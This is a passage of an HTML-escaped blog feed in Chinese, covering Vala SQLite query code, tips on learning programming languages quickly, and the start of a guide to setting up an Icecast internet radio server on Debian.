class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDONE\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEXECUTION_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Execute failed: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e循环取出返回值:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 摘抄自我的大作业代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eavaliable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 创建一个声明,这个是一个查询语句\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprepare\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;SELECT FromCity,ArivCity FROM FLIGHT;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 我前面说过返回值的事情,Sqlite.ROW\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eROW\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolumn_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eget_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolumn_text\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehas_key\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHashSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eto\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"如何速通一个编程语言\"\u003e如何速通一个编程语言\u003c/h2\u003e\n\u003cp\u003e我当时是这么学的 C 语言:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e函数\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e结构体\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e指针\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e前三条是说明这个语言大致的语法如何,因为编程思维的逻辑无非就那些:从哪里开始,需要那些材料,需要经过那些步骤,那些步骤得不断进行,这个步骤执行的条件是什么,这个步骤的结束条件是什么,最后的成果是如何的?逻辑搞明白了,接下来就是靠语言实现了。\u003c/p\u003e\n\u003cp\u003e接下来第四条,我认为是说明这个语言的性质。C 语言是面向过程的语言,所以主要是函数。而要是面向对象的话,教完函数之后,就是教你如何写一个类,如何搞继承之类的了。\u003c/p\u003e\n\u003cp\u003e剩下那三个,说明这个语言的数据结构。数据结构,有链表,栈,队列,字符串,树,图之类,还有集合,键值对字典这些常用的。这些东西给你了实现的工具,不过大多数语言已经实现了,比如 Java 。\u003c/p\u003e\n\u003cp\u003e最后,速通了语言,不代表所有。你得找到相对应的库。要是库很缺乏,或者根本没学的话,很有可能你啥都干不了。我暑假两天速通了 Javascript,然后我由于没学任何 Javascript 的库,比如 vue / react 啥的,我都不知道要用这个来干嘛:-P\u003c/p\u003e\n\u003cp\u003e最后,如有不完备或错误之处,敬请谅解。我还是水平不够啊:-(\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/vala-introduction.html"},{"title":"如何在网上开自己的电台?","time":"2022-10-19T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Bart%20On%20Radio%203x13.jpg\" alt=\"Featured image of post 如何在网上开自己的电台?\" /\u003e\u003cp\u003e实际上这个文章我老早就想写了,不过我中间基本上忘了这档子事。\u003c/p\u003e\n\u003cp\u003e先说明一下,这个电台是纯音乐电台,没有画面。要搞画面的话,建议了解 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e开一个电台,需要两个部分:电台推流软件,电台服务器,以及收听软件。就像传统的电台一样,得有个录音室,发射塔,然后是收音机。啊哈,是不是回到了各位童年,听着中国之声呢(不是)。\u003c/p\u003e\n\u003ch2 id=\"电台服务器icecast\"\u003e电台服务器~Icecast\u003c/h2\u003e\n\u003cp\u003e实际上我接触过两个开电台的软件,一个是上面提到的 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。不过这玩意更像是视频服务器,我就不想说了。\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.icecast.org\" target=\"_blank\" rel=\"noopener\"\n \u003eIcecast\u003c/a\u003e 是一个音乐电台服务器,也就是说,它接受电台推流软件传来的数据,经过处理(包装),然后向收听软件推送数据。这里我就不说啥 \u003ccode\u003em3u8\u003c/code\u003e,\u003ccode\u003eogg\u003c/code\u003e是啥了,毕竟我也不知道,而且又不影响咱用,对不对啊:-)\u003c/p\u003e\n\u003cp\u003e既然 Icecast 是一个服务器软件,那么\u003cdel\u003e它就得运行在服务器上\u003c/del\u003e实际上是个电脑就能运行,不过最好还是个服务器吧,比如说你在网上买到的阿里云服务器之类。不过如果你只是想在你的家里搞个自嗨广播,那电脑直接运行也好。前提是你能处理好路由器端口映射和电脑的防火墙,那就不是我的事情了2333\u003c/p\u003e\n\u003cp\u003e以下我用 Linux 系统举例子,更特殊的说,是 Debian 11 。其他的发行版,应该能举一反三吧\u0026hellip;\u0026hellip;.\u003c/p\u003e\n\u003cp\u003e使用这个命令安装 icecast\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# apt install icecast2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装完了,就得配置,看一下我这个配置文件片段吧,你的配置文件应该在 \u003ccode\u003e/etc/icecast2/icecast.xml\u003c/code\u003e 下面。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;icecast\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这俩选项主要是说明电台的地址(location)和管理员是谁,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 感觉就是为了展示用的 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;location\u0026gt;\u003c/span\u003eSUPERBART\u0026#39;S LAND\u003cspan class=\"nt\"\u003e\u0026lt;/location\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin\u0026gt;\u003c/span\u003eicemaster@localhost\u003cspan class=\"nt\"\u003e\u0026lt;/admin\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 尤其对于小白用户,以下内容十分重要:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 最好一开始*只*修改密码,然后重启 Icecast 。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 想要详细配置说明的话,请查阅文档。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 文档也在这里提供:http://icecast.org/docs/\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e (原来配置文件的一段)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 请各位不要直接使用这个配置文件,看明白了修改自己电脑里的配置文件。--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;limits\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这段都是设置服务器的限制的,比如最多几个人听,最多开几个频道之类。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 大多数选项我也不太懂,尽量别改吧。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;clients\u0026gt;\u003c/span\u003e200\u003cspan class=\"nt\"\u003e\u0026lt;/clients\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;sources\u0026gt;\u003c/span\u003e5\u003cspan class=\"nt\"\u003e\u0026lt;/sources\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;queue-size\u0026gt;\u003c/span\u003e25600000\u003cspan class=\"nt\"\u003e\u0026lt;/queue-size\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;client-timeout\u0026gt;\u003c/span\u003e30\u003cspan class=\"nt\"\u003e\u0026lt;/client-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;header-timeout\u0026gt;\u003c/span\u003e15\u003cspan class=\"nt\"\u003e\u0026lt;/header-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;source-timeout\u0026gt;\u003c/span\u003e10\u003cspan class=\"nt\"\u003e\u0026lt;/source-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;burst-on-connect\u0026gt;\u003c/span\u003e1\u003cspan class=\"nt\"\u003e\u0026lt;/burst-on-connect\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/limits\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里修改各种密码,是重点捏 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;authentication\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 推流密码,推流账户名 source 